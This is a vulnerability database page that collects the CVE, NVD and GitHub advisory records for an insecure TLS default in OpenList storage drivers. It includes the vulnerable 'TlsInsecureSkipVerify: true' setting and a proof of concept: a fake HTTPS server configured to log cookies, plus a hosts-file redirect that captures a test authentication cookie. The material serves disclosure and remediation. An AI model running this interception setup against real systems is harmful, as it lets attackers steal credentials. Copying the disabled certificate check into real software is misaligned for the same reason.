Vulnerability-Lookup

CVE-2026-25060 (GCVE-0-2026-25060)

Vulnerability from cvelistv5 – Published: 2026-02-02 22:26 – Updated: 2026-02-04 16:53

Title

OpenList Insecure TLS Default Configuration

Summary

OpenList Frontend is a UI component for OpenList. Prior to 4.1.10, certificate verification is disabled by default for all storage driver communications. The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go. This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. This vulnerability is fixed in 4.1.10.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-599 - Missing Validation of OpenSSL Certificate

Assigner

GitHub_M

References

URL

Tags

	https://github.com/OpenListTeam/OpenList/security…	x_refsource_CONFIRM
	https://github.com/OpenListTeam/OpenList/commit/e…	x_refsource_MISC
	https://github.com/OpenListTeam/OpenList/releases…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	OpenListTeam	OpenList	Affected: < 4.1.10

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-25060",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-04T15:54:28.374017Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-04T16:53:31.990Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OpenList",
          "vendor": "OpenListTeam",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.1.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenList Frontend is a UI component for OpenList. Prior to 4.1.10, certificate verification is disabled by default for all storage driver communications. The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go. This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. This vulnerability is fixed in 4.1.10."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-599",
              "description": "CWE-599: Missing Validation of OpenSSL Certificate",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-02T22:26:42.421Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389"
        },
        {
          "name": "https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1"
        },
        {
          "name": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10"
        }
      ],
      "source": {
        "advisory": "GHSA-wf93-3ghh-h389",
        "discovery": "UNKNOWN"
      },
      "title": "OpenList Insecure TLS Default Configuration"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-25060",
    "datePublished": "2026-02-02T22:26:42.421Z",
    "dateReserved": "2026-01-28T14:50:47.889Z",
    "dateUpdated": "2026-02-04T16:53:31.990Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-25060\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-02-02T23:16:08.913\",\"lastModified\":\"2026-02-23T17:35:00.207\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"OpenList Frontend is a UI component for OpenList. Prior to 4.1.10, certificate verification is disabled by default for all storage driver communications. The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go. This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. This vulnerability is fixed in 4.1.10.\"},{\"lang\":\"es\",\"value\":\"OpenList Frontend es un componente de interfaz de usuario para OpenList. Antes de la versi\u00f3n 4.1.10, la verificaci\u00f3n de certificados est\u00e1 deshabilitada por defecto para todas las comunicaciones del controlador de almacenamiento. La configuraci\u00f3n TlsInsecureSkipVerify est\u00e1 establecida en true por defecto en la funci\u00f3n DefaultConfig() en internal/conf/config.go. Esta vulnerabilidad permite ataques de man-in-the-middle (MitM) al deshabilitar la verificaci\u00f3n de certificados TLS, lo que permite a los atacantes interceptar y manipular todas las comunicaciones de almacenamiento. Los atacantes pueden explotar esto a trav\u00e9s de ataques a nivel de red como suplantaci\u00f3n de ARP, puntos de acceso Wi-Fi no autorizados o equipos de red internos comprometidos para redirigir el tr\u00e1fico a puntos finales maliciosos. Dado que la validaci\u00f3n de certificados se omite, el sistema establecer\u00e1 conexiones cifradas sin saberlo con servidores controlados por el atacante, lo que permite el descifrado completo, el robo de datos y la manipulaci\u00f3n de todas las operaciones de almacenamiento sin activar ninguna advertencia de seguridad. Esta vulnerabilidad se corrige en la versi\u00f3n 4.1.10.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.1,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.2,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-599\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:oplist:openlist:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.1.10\",\"matchCriteriaId\":\"8A540671-DE84-45FD-A087-21A565765CF4\"}]}]}],\"references\":[{\"url\":\"https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Release Notes\"]},{\"url\":\"https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-25060\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-02-04T15:54:28.374017Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-02-04T15:54:29.169Z\"}}], \"cna\": {\"title\": \"OpenList Insecure TLS Default Configuration\", \"source\": {\"advisory\": \"GHSA-wf93-3ghh-h389\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.1, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"OpenListTeam\", \"product\": \"OpenList\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 4.1.10\"}]}], \"references\": [{\"url\": \"https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389\", \"name\": \"https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1\", \"name\": \"https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10\", \"name\": \"https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"OpenList Frontend is a UI component for OpenList. Prior to 4.1.10, certificate verification is disabled by default for all storage driver communications. The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go. This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. This vulnerability is fixed in 4.1.10.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-599\", \"description\": \"CWE-599: Missing Validation of OpenSSL Certificate\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-02-02T22:26:42.421Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-25060\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-02-04T16:53:31.990Z\", \"dateReserved\": \"2026-01-28T14:50:47.889Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-02-02T22:26:42.421Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-25060

Vulnerability from fkie_nvd - Published: 2026-02-02 23:16 - Updated: 2026-02-23 17:35

Severity ?

8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1	Patch
security-advisories@github.com	https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10	Release Notes
security-advisories@github.com	https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389	Vendor Advisory

Impacted products

	Vendor	Product	Version
	oplist	openlist	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:oplist:openlist:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "8A540671-DE84-45FD-A087-21A565765CF4",
              "versionEndExcluding": "4.1.10",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenList Frontend is a UI component for OpenList. Prior to 4.1.10, certificate verification is disabled by default for all storage driver communications. The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go. This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. This vulnerability is fixed in 4.1.10."
    },
    {
      "lang": "es",
      "value": "OpenList Frontend es un componente de interfaz de usuario para OpenList. Antes de la versi\u00f3n 4.1.10, la verificaci\u00f3n de certificados est\u00e1 deshabilitada por defecto para todas las comunicaciones del controlador de almacenamiento. La configuraci\u00f3n TlsInsecureSkipVerify est\u00e1 establecida en true por defecto en la funci\u00f3n DefaultConfig() en internal/conf/config.go. Esta vulnerabilidad permite ataques de man-in-the-middle (MitM) al deshabilitar la verificaci\u00f3n de certificados TLS, lo que permite a los atacantes interceptar y manipular todas las comunicaciones de almacenamiento. Los atacantes pueden explotar esto a trav\u00e9s de ataques a nivel de red como suplantaci\u00f3n de ARP, puntos de acceso Wi-Fi no autorizados o equipos de red internos comprometidos para redirigir el tr\u00e1fico a puntos finales maliciosos. Dado que la validaci\u00f3n de certificados se omite, el sistema establecer\u00e1 conexiones cifradas sin saberlo con servidores controlados por el atacante, lo que permite el descifrado completo, el robo de datos y la manipulaci\u00f3n de todas las operaciones de almacenamiento sin activar ninguna advertencia de seguridad. Esta vulnerabilidad se corrige en la versi\u00f3n 4.1.10."
    }
  ],
  "id": "CVE-2026-25060",
  "lastModified": "2026-02-23T17:35:00.207",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-02T23:16:08.913",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-599"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-WF93-3GHH-H389

Vulnerability from github – Published: 2026-02-02 20:12 – Updated: 2026-02-03 16:13

Summary

OpenList has Insecure TLS Default Configuration

Details

Summary

The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.

Details

Certificate verification is disabled by default for all storage driver communications.

The TlsInsecureSkipVerify setting is default to true in the DefaultConfig() function in internal/conf/config.go.

func DefaultConfig() *Config {
    // ...
    TlsInsecureSkipVerify: true,
    // ...
}

This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.

PoC

We modified the /etc/hostsfile to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server.

The purpose of this PoC is to demonstrate that the Openlist server will indeed establish communication with a malicious server due to disabled certificate verification. This allows us to intercept and steal authentication cookies used for communicating with other storage providers.

Setup a malicious https server:

ssl.conf:

LoadModule ssl_module modules/mod_ssl.so
LoadModule log_config_module modules/mod_log_config.so

Listen 443

LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers
CustomLog "/usr/local/apache2/logs/headers.log" headers

<VirtualHost _default_:443>
    DocumentRoot "/usr/local/apache2/htdocs"
    ServerName localhost

    SSLEngine on
    SSLCertificateFile "/usr/local/apache2/conf/server.crt"
    SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"

    ErrorLog "/usr/local/apache2/logs/ssl_error.log"

    <Directory "/usr/local/apache2/htdocs">
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
</VirtualHost>

Dockerfile:

FROM httpd:2.4

# Copy SSL config
COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf

# Include SSL config in main httpd.conf
RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf

# Copy certs
COPY certs/server.crt /usr/local/apache2/conf/server.crt
COPY certs/server.key /usr/local/apache2/conf/server.key

build-ssh-httpd.sh

mkdir certs
openssl req -x509 -nodes -days 365 \
  -newkey rsa:2048 \
  -keyout certs/server.key \
  -out certs/server.crt
docker build -t httpd-test-ssl .

docker-compose.yaml:

services:
  openlist:
    restart: always
    volumes:
      - '/etc/openlist:/opt/openlist/data'
    ports:
      - '5244:5244'
      - '5245:5245'
    user: '0:0'
    environment:
      - UMASK=022
      - TZ=Asia/Shanghai
    container_name: openlist
    image: 'openlistteam/openlist:latest'

  evilhttpd:
    image: 'httpd-test-ssl:latest'

Simulate DNS hijacking

Modify openlist container's /etc/hosts to redirect www.weiyun.com to malicious server:

<IP of HTTPS Server>      www.weiyun.com

You can ping evilhttpd to obtain its IP.

Trigger

In the front end, add a weiyun storage and inspect log on tls server:

root@3c5bbda440c9:/usr/local/apache2# tail -n 1  /usr/local/apache2/logs/headers.log
172.18.0.2 - - [18/Dec/2025:06:29:48 +0000] "POST /webapp/json/weiyunQdiskClient/DiskUserInfoGet?cmd=2201&g_tk= HTTP/1.1" 404 236 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Macintosh; Apple macOS 15_5) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/138.0.0.0 Referer:- Accept:- Cookie:test-secret-cookie=

Note that the cookie in the log.

Impact

This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.

This vulnerability affects all openlist deployment with default TLS configuration.

Note

Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

We follow the security industry standard 90+30 disclosure policy. If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OpenListTeam/OpenList/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-599"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T20:12:52Z",
    "nvd_published_at": "2026-02-02T23:16:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\n### Details\nCertificate verification is disabled by default for all storage driver communications.\n\nThe `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185).\n\n~~~\nfunc DefaultConfig() *Config {\n    // ...\n    TlsInsecureSkipVerify: true,\n    // ...\n}\n~~~\n\nThis vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings.\n\n### PoC\nWe modified the /etc/hostsfile to simulate DNS hijacking and redirect [www.weiyun.com](http://www.weiyun.comto/) to a malicious TLS-enabled HTTP server.\n\nThe purpose of this PoC is to demonstrate that the Openlist server will indeed establish communication with a malicious server due to disabled certificate verification. This allows us to intercept and steal authentication cookies used for communicating with other storage providers.\n\n#### Setup a malicious https server:\n*ssl.conf*:\n~~~\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule log_config_module modules/mod_log_config.so\n\nListen 443\n\nLogFormat \"%h %l %u %t \\\"%r\\\" %\u003es %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i\" headers\nCustomLog \"/usr/local/apache2/logs/headers.log\" headers\n\n\u003cVirtualHost _default_:443\u003e\n    DocumentRoot \"/usr/local/apache2/htdocs\"\n    ServerName localhost\n\n    SSLEngine on\n    SSLCertificateFile \"/usr/local/apache2/conf/server.crt\"\n    SSLCertificateKeyFile \"/usr/local/apache2/conf/server.key\"\n\n    ErrorLog \"/usr/local/apache2/logs/ssl_error.log\"\n\n    \u003cDirectory \"/usr/local/apache2/htdocs\"\u003e\n        Options Indexes FollowSymLinks\n        AllowOverride None\n        Require all granted\n    \u003c/Directory\u003e\n\u003c/VirtualHost\u003e\n~~~\n\n*Dockerfile*:\n~~~\nFROM httpd:2.4\n\n# Copy SSL config\nCOPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf\n\n# Include SSL config in main httpd.conf\nRUN echo \"Include conf/extra/ssl.conf\" \u003e\u003e /usr/local/apache2/conf/httpd.conf\n\n# Copy certs\nCOPY certs/server.crt /usr/local/apache2/conf/server.crt\nCOPY certs/server.key /usr/local/apache2/conf/server.key\n~~~\n\n*build-ssh-httpd.sh*\n~~~bash\nmkdir certs\nopenssl req -x509 -nodes -days 365 \\\n  -newkey rsa:2048 \\\n  -keyout certs/server.key \\\n  -out certs/server.crt\ndocker build -t httpd-test-ssl .\n~~~\n\n*docker-compose.yaml*:\n~~~\nservices:\n  openlist:\n    restart: always\n    volumes:\n      - \u0027/etc/openlist:/opt/openlist/data\u0027\n    ports:\n      - \u00275244:5244\u0027\n      - \u00275245:5245\u0027\n    user: \u00270:0\u0027\n    environment:\n      - UMASK=022\n      - TZ=Asia/Shanghai\n    container_name: openlist\n    image: \u0027openlistteam/openlist:latest\u0027\n\n  evilhttpd:\n    image: \u0027httpd-test-ssl:latest\u0027\n~~~\n\n#### Simulate DNS hijacking\nModify openlist container\u0027s /etc/hosts to redirect www.weiyun.com to malicious server:\n~~~\n\u003cIP of HTTPS Server\u003e      www.weiyun.com\n~~~\n\nYou can `ping evilhttpd` to obtain its IP.\n\n#### Trigger\nIn the front end, add a weiyun storage and inspect log on tls server:\n\n~~~\nroot@3c5bbda440c9:/usr/local/apache2# tail -n 1  /usr/local/apache2/logs/headers.log\n172.18.0.2 - - [18/Dec/2025:06:29:48 +0000] \"POST /webapp/json/weiyunQdiskClient/DiskUserInfoGet?cmd=2201\u0026g_tk= HTTP/1.1\" 404 236 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Macintosh; Apple macOS 15_5) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36 Chrome/138.0.0.0 Referer:- Accept:- Cookie:test-secret-cookie=\n~~~\n\nNote that the cookie in the log.\n\n### Impact\nThis misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data.\n\nThis vulnerability affects all openlist deployment with default TLS configuration.\n\n### Note\nCredit\nThis vulnerability was discovered by:\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is [xlabai@tencent.com](mailto:xlabai@tencent.com).\n\nWe follow the security industry standard [90+30 disclosure policy](https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.",
  "id": "GHSA-wf93-3ghh-h389",
  "modified": "2026-02-03T16:13:24Z",
  "published": "2026-02-02T20:12:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-wf93-3ghh-h389"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/commit/e3c664f81d0584fbbdb86ffe6644be16259371c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenListTeam/OpenList"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/blob/5db2172ed681346b69ed468c73c1f01b6ed455ea/internal/conf/config.go#L185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.1.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenList has Insecure TLS Default Configuration"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25060 (GCVE-0-2026-25060)

FKIE_CVE-2026-25060

GHSA-WF93-3GHH-H389

Summary

Details

PoC

Setup a malicious https server:

Simulate DNS hijacking

Trigger

Impact

Note

Tags

Sightings

Nomenclature